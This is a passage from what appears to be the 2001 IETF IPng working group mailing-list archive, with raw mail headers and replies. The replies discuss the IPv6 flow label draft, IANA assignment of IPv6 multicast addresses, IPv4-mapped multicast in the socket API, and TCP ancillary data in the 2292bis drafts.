flow label brings to the party: 1) Speed Speed is primarily due to the fact that the flow's tag is in the IP header itself at a fixed location. This simplifies the processing -- helpful for ASIC's -- as well allowing classification of problematic flows, such as IPsec and flows which contain destination options or other things which require that the header list be traversed. 2) Protocol independence RSVP normally uses a 5 tuple which implicitly expect a source and destination port. Other protocols either disagree (IPsec which requires classification based on SPI) or are undefined (SCTP...). Use of the flow label will allow us to deploy new protocols without having to come up with new RFC's to describe how to create its own flow classifier. Better, it will not require software/hardware upgrades in routers to be able to give QoS treatment to new IP protocols. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 10:08:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHI8BFp009693 for ; Mon, 17 Dec 2001 10:08:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHI8Bdj009692 for ipng-dist; Mon, 17 Dec 2001 10:08:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHI87Fp009685 for ; Mon, 17 Dec 2001 10:08:07 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15172 for ; Mon, 17 Dec 2001 10:08:10 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06788 for ; Mon, 17 Dec 2001 10:08:09 -0800 (PST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBHI7VJ09315; Mon, 17 Dec 2001 10:07:31 -0800 (PST) Message-ID: <009f01c18725$78fd9930$7e6015ac@T23KEMPF> From: "James Kempf" To: "Michael Thomas" , "Margaret Wasserman" Cc: "Brian E Carpenter" , References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com><4.2.2.20011217091931.0201a430@mail.windriver.com> <15390.7046.939861.503804@thomasm-u1.cisco.com> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 17 Dec 2001 10:05:55 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Mike, You forgot a third: 3) Readable when the packet is encrypted Thus, QoS can be accomplished even if the rest of the packet is encrypted. jak ----- Original Message ----- From: "Michael Thomas" To: "Margaret Wasserman" Cc: "Brian E Carpenter" ; Sent: Monday, December 17, 2001 8:21 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > Margaret Wasserman writes: > > If I seem to be missing an important point or concept, please send > > some hints or pointers. > > Margaret, > > I don't think you're alone wondering what all the > fuss is about with the flow label since it's > fairly obvious that normal Intserv classifiers > function equivalently. However, there's two fairly > important things that the flow label brings to the > party: > > 1) Speed > > Speed is primarily due to the fact that the flow's > tag is in the IP header itself at a fixed > location. This simplifies the processing -- > helpful for ASIC's -- as well allowing > classification of problematic flows, such > as IPsec and flows which contain destination > options or other things which require that > the header list be traversed. > > 2) Protocol independence > > RSVP normally uses a 5 tuple which implicitly > expect a source and destination port. Other > protocols either disagree (IPsec which requires > classification based on SPI) or are undefined > (SCTP...). Use of the flow label will allow us to > deploy new protocols without having to come up > with new RFC's to describe how to create its own > flow classifier. Better, it will not require > software/hardware upgrades in routers to be able > to give QoS treatment to new IP protocols. > > Mike > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 10:37:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHIbkFp009724 for ; Mon, 17 Dec 2001 10:37:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHIbksM009723 for ipng-dist; Mon, 17 Dec 2001 10:37:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHIbhFp009716 for ; Mon, 17 Dec 2001 10:37:43 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA28833 for ; Mon, 17 Dec 2001 10:37:46 -0800 (PST) Received: from mhs99ykf.rim.net ([206.51.26.109]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA00155 for ; Mon, 17 Dec 2001 11:37:45 -0700 (MST) Received: from NGW02YKF.rim.net (ngw02ykf.rim.net [10.101.20.118]) by mhs99ykf.rim.net (Postfix) with SMTP id AE5B8B4666 for ; Mon, 17 Dec 2001 13:37:46 -0500 (EST) Received: from PGS02YKF.rim.net ([10.101.20.231]) by NGW02YKF.rim.net (NAVGW 2.5.1.13) with SMTP id M2001121713373518214 ; Mon, 17 Dec 2001 13:37:36 -0500 Received: from xch02ykf.rim.net [10.101.20.37] by PGS02YKF.rim.net [10.101.20.231] (CMSPraetor 5.10.4411) with ESMTP id 521E42101CBB46ABBA76BF0BF07EAA76 ; Mon, 17 Dec 2001 13:37:41 -0500 Received: by xch02ykf.rim.net with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Dec 2001 13:37:33 -0500 From: Craig Dunk To: "'James Kempf'" , Michael Thomas , Margaret Wasserman Cc: Brian E Carpenter , Message-ID: <05BEA41254F24A4CBA66E811CDD3AD9C07D4FD@xch08ykf> Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Mon, 17 Dec 2001 13:37:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tangent: Does "readable when encrypted" extend to "modifiable when authenticated" or are some policies required about what "recommended" uses are for the field? This may be covered nicely by the phrase in a previous message that "...the IPv6 flow label is *not* a routing label.". Craig. -----Original Message----- From: James Kempf [mailto:kempf@docomolabs-usa.com] Sent: December 17, 2001 1:06 PM To: Michael Thomas; Margaret Wasserman Cc: Brian E Carpenter; ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Mike, You forgot a third: 3) Readable when the packet is encrypted Thus, QoS can be accomplished even if the rest of the packet is encrypted. jak ----- Original Message ----- From: "Michael Thomas" To: "Margaret Wasserman" Cc: "Brian E Carpenter" ; Sent: Monday, December 17, 2001 8:21 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > Margaret Wasserman writes: > > If I seem to be missing an important point or concept, please send > > some hints or pointers. > > Margaret, > > I don't think you're alone wondering what all the > fuss is about with the flow label since it's > fairly obvious that normal Intserv classifiers > function equivalently. However, there's two fairly > important things that the flow label brings to the > party: > > 1) Speed > > Speed is primarily due to the fact that the flow's > tag is in the IP header itself at a fixed > location. This simplifies the processing -- > helpful for ASIC's -- as well allowing > classification of problematic flows, such > as IPsec and flows which contain destination > options or other things which require that > the header list be traversed. > > 2) Protocol independence > > RSVP normally uses a 5 tuple which implicitly > expect a source and destination port. Other > protocols either disagree (IPsec which requires > classification based on SPI) or are undefined > (SCTP...). Use of the flow label will allow us to > deploy new protocols without having to come up > with new RFC's to describe how to create its own > flow classifier. Better, it will not require > software/hardware upgrades in routers to be able > to give QoS treatment to new IP protocols. > > Mike > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 10:55:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHIt5Fp009788 for ; Mon, 17 Dec 2001 10:55:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHIt5ts009787 for ipng-dist; Mon, 17 Dec 2001 10:55:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHIt2Fp009780 for ; Mon, 17 Dec 2001 10:55:02 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21150 for ; Mon, 17 Dec 2001 10:55:03 -0800 (PST) Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24265 for ; Mon, 17 Dec 2001 10:55:02 -0800 (PST) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA161806; Mon, 17 Dec 2001 12:48:15 -0600 Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.27.21.26]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v5.01) with ESMTP id fBHIp6X96698; Mon, 17 Dec 2001 13:51:06 -0500 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.11.6/8.11.6) with ESMTP id fBHIo5Y02043; Mon, 17 Dec 2001 13:50:05 -0500 Message-Id: <200112171850.fBHIo5Y02043@rotala.raleigh.ibm.com> To: Bob Hinden , Steve Deering cc: ipng@sunroof.eng.sun.com Subject: IANA guidelins on assigning IPv6 multicast addresses Date: Mon, 17 Dec 2001 13:50:05 -0500 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At the plenary last week, Christian asked about getting IANA to assign an IPv6 multicast address. Poking around a bit, I can't find the process under which IANA assigns IPv6 multicast addresses documented. RFC 2780 says: > 5.4.3 IPv6 Multicast Addresses > > IPv6 multicast addresses are defined in [V6AD]. They are identified > by a FP of 0xFF. Assignment guidelines for IPv6 multicast addresses > are described in [MASGN]. > [MASGN] Hinden, R. and S. Deering, "IPv6 Multicast Address > Assignments", RFC 2375, July 1998. But 2375 says: > [ADDRARCH] defines rules for assigning new IPv6 multicast addresses. > [ADDARCH] Hinden, R., and S. Deering, "IP Version 6 Addressing > Architecture", RFC 2373, July 1998. But 2373 doesn't seem to say anything about this. Is the procedure documented someplace else that I've missed? If not, it seems like son-of-2373 should fix this, i.e., draft-ietf-ipngwg-addr-arch-v3-07.txt. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 11:08:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHJ8gFp009900 for ; Mon, 17 Dec 2001 11:08:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHJ8gbl009899 for ipng-dist; Mon, 17 Dec 2001 11:08:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHJ8dFp009892 for ; Mon, 17 Dec 2001 11:08:39 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA08651 for ; Mon, 17 Dec 2001 11:08:40 -0800 (PST) Received: from gau.lava.net (gau.lava.net [64.65.64.28]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA03007 for ; Mon, 17 Dec 2001 12:08:21 -0700 (MST) Received: from malasada.lava.net ([64.65.64.17]) (2716 bytes) by gau.lava.net; Mon, 17 Dec 2001 09:08:32 -1000 (HST) via sendmail [esmtp] id for Date: Mon, 17 Dec 2001 09:08:32 -1000 (HST) From: Antonio Querubin To: Bob Hinden cc: Subject: Re: IPv6 w.g. Last Call on "Basic Socket Interface Extensions for IPv6" In-Reply-To: <4.3.2.7.2.20011211194220.01dfc908@mailhost.iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Bob Hinden wrote: > This is a IPv6 working group last call for comments on advancing the > following document as an Informational RFC: > > Title : Basic Socket Interface Extensions for IPv6 > Author(s) : R. Gilligan, S. Thomson, J. Bound, W. Stevens > Filename : draft-ietf-ipngwg-rfc2553bis-04.txt > Pages : 32 > Date : 27-Nov-01 > > This document will replace RFC2553 that is currently an Informational > RFC. The changes from RFC2553 are listed on pages 29 and 30 of the draft. > > Please send substantive comments to the ipng mailing list, and minor > editorial comments to the authors. This last call period will end two > weeks from today on December 26, 2001. > > Bob Hinden / Steve Deering This may be a bit late but I do think that the API should address better compatibility with IPv4 multicast. There was some discussion earlier this year about this but no consensus was reached other than that it should be fixed. The problem I think would be helped if, for the purposes of this API, section 3.7 was extended to optionally allow for a pseudo IPv4-mapped multicast address. I'm suggesting adding two sentences to paragraph 2 of section 3.7: "These addresses can be generated automatically by the getaddrinfo() function, when the specified host has only IPv4 addresses (as described in Section 6.1 and 6.2). For the purposes of this API, the allowed range of may be extended beyond that defined in RFC 2373 to also include multicast addresses. The resulting mapped address should be treated as a multicast address." This addition is motivated by one of the design considerations of the API: " - Where possible, applications should be able to use this API to interoperate with both IPv6 and IPv4 hosts. Applications should not need to know which type of host they are communicating with." And further down we have: "Because of the importance of providing IPv4 compatibility in the API, these extensions are explicitly designed to operate on machines that provide complete support for both IPv4 and IPv6." -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 13:17:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLH7Fp010176 for ; Mon, 17 Dec 2001 13:17:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHLH7fU010175 for ipng-dist; Mon, 17 Dec 2001 13:17:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLGxFp010158 for ; Mon, 17 Dec 2001 13:16:59 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA22676 for ; Mon, 17 Dec 2001 13:17:01 -0800 (PST) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA03078 for ; Mon, 17 Dec 2001 14:17:00 -0700 (MST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA11896; Mon, 17 Dec 2001 13:17:29 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA21544; Mon, 17 Dec 2001 13:17:29 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id NAA08330; Mon, 17 Dec 2001 13:22:36 -0800 (PST) Date: Mon, 17 Dec 2001 13:22:36 -0800 (PST) From: Tim Hartrick Message-Id: <200112172122.NAA08330@feller.mentat.com> To: ipng@sunroof.eng.sun.com, onoe@sm.sony.co.jp Subject: Re: TCP implication of 2292bis X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > As I said in the today's meeting, please speak up about your opinions, > > if you're interested in implementing the API. I'd like to collect the > > opinions, and will soon revise the draft based on consensus. > > I think the current (-03, and RFC 2292) definition is fine. For 2292 > implementors, there is no new benefit introduced by recvmsg() in > previous revision of the draft. Even use of recvmsg(), an application > cannot follow the changes of extension headers of duplicated segment, > ACK, RST, FIN. > > Actually, I believe most of TCP applications will use neither of > recvmsg() or getsockopt() to get extention headers or some other > infomration, because the connection establishment using SYN/ACK is > automatically made regardless application's behavior. > This is almost certainly true. > So I prefer simplest definition to implement such feature if it is > included in the specification. That's why I think current specification > (-03 draft) is better. > Simplest is in the eye of the beholder. We have implemented the -02 behavior and the -03 behavior in the past. I would not agree that the -03 behavior is simpler is any respect. Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 13:17:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLH7Fp010179 for ; Mon, 17 Dec 2001 13:17:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHLH7sY010177 for ipng-dist; Mon, 17 Dec 2001 13:17:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLGxFp010159 for ; Mon, 17 Dec 2001 13:16:59 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA22677 for ; Mon, 17 Dec 2001 13:17:01 -0800 (PST) Received: from roll.mentat.com ([192.88.122.129]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA17514 for ; Mon, 17 Dec 2001 14:17:00 -0700 (MST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA11874; Mon, 17 Dec 2001 13:13:42 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA21412; Mon, 17 Dec 2001 13:13:41 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id NAA08325; Mon, 17 Dec 2001 13:18:48 -0800 (PST) Date: Mon, 17 Dec 2001 13:18:48 -0800 (PST) From: Tim Hartrick Message-Id: <200112172118.NAA08325@feller.mentat.com> To: jinmei@isl.rdc.toshiba.co.jp, vlad@zk3.dec.com Subject: Re: TCP implication of 2292bis Cc: ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vlad, > > Since you are soliciting comments from implementors, here are my > opionions about the change ( I was going to wait until I got to work). > > I beleave the the 2292bis-02 definition and TCP implications were > fine. I was curious about the reasons this was put in the draft. > I agree. There were some edge cases regarding receive only applications and the use of shutdown that needed to be described but the general mechanism was fine and the fact that it was similar to the SOCK_DGRAM and SOCK_RAW cases made implementation relatively straight forward. We have in fact already implemented the -02 behavior. In my opinion the -02 behavior is preferable to the -03 behavior. If we need to clarify some edge cases then fine but the -02 behavior was quite workable and should be restored. Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 13:24:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLO5Fp010215 for ; Mon, 17 Dec 2001 13:24:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHLO5F9010214 for ipng-dist; Mon, 17 Dec 2001 13:24:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLO1Fp010207 for ; Mon, 17 Dec 2001 13:24:01 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA11975 for ; Mon, 17 Dec 2001 13:24:03 -0800 (PST) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA05666 for ; Mon, 17 Dec 2001 14:24:02 -0700 (MST) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 30FD04B23; Tue, 18 Dec 2001 06:23:59 +0900 (JST) To: Tim Hartrick Cc: ipng@sunroof.eng.sun.com In-reply-to: tim's message of Mon, 17 Dec 2001 13:22:36 PST. <200112172122.NAA08330@feller.mentat.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: TCP implication of 2292bis From: itojun@iijlab.net Date: Tue, 18 Dec 2001 06:23:59 +0900 Message-ID: <5445.1008624239@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> So I prefer simplest definition to implement such feature if it is >> included in the specification. That's why I think current specification >> (-03 draft) is better. >Simplest is in the eye of the beholder. We have implemented the -02 >behavior and the -03 behavior in the past. I would not agree that the -03 >behavior is simpler is any respect. the major problem I'm seeing for -02 definition is that there's no relationship defined (impossible) between the normal TCP data stream and ancillary data segments. I personally in favor of -03 definition. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 13:47:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLloFp010394 for ; Mon, 17 Dec 2001 13:47:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHLloxC010393 for ipng-dist; Mon, 17 Dec 2001 13:47:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLlkFp010386 for ; Mon, 17 Dec 2001 13:47:47 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09859 for ; Mon, 17 Dec 2001 13:47:49 -0800 (PST) Received: from roll.mentat.com (mentat.com [192.88.122.129]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA25762 for ; Mon, 17 Dec 2001 13:47:48 -0800 (PST) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA12062; Mon, 17 Dec 2001 13:45:29 -0800 (PST) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id NAA22511; Mon, 17 Dec 2001 13:45:29 -0800 (PST) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id NAA08348; Mon, 17 Dec 2001 13:50:36 -0800 (PST) Date: Mon, 17 Dec 2001 13:50:36 -0800 (PST) From: Tim Hartrick Message-Id: <200112172150.NAA08348@feller.mentat.com> To: itojun@iijlab.net Subject: Re: TCP implication of 2292bis Cc: ipng@sunroof.eng.sun.com X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Itojun, > > >> So I prefer simplest definition to implement such feature if it is > >> included in the specification. That's why I think current specification > >> (-03 draft) is better. > >Simplest is in the eye of the beholder. We have implemented the -02 > >behavior and the -03 behavior in the past. I would not agree that the -03 > >behavior is simpler is any respect. > > the major problem I'm seeing for -02 definition is that there's no > relationship defined (impossible) between the normal TCP data stream > and ancillary data segments. I personally in favor of -03 definition. > So? I didn't realize that having such a relationship had become a requirement. If it is, the -03 behavior certainly doesn't meet the requirement either. In fact it is substantially further from meeting it than -02. Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 17 13:48:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLm2Fp010404 for ; Mon, 17 Dec 2001 13:48:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBHLm2qw010403 for ipng-dist; Mon, 17 Dec 2001 13:48:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHLlwFp010396 for ; Mon, 17 Dec 2001 13:47:59 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA09979 for ; Mon, 17 Dec 2001 13:48:01 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA25862 for ; Mon, 17 Dec 2001 13:48:00 -0800 (PST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id XAA29036; Mon, 17 Dec 2001 23:47:58 +0200 Date: Mon, 17 Dec 2001 23:47:58 +0200 Message-Id: 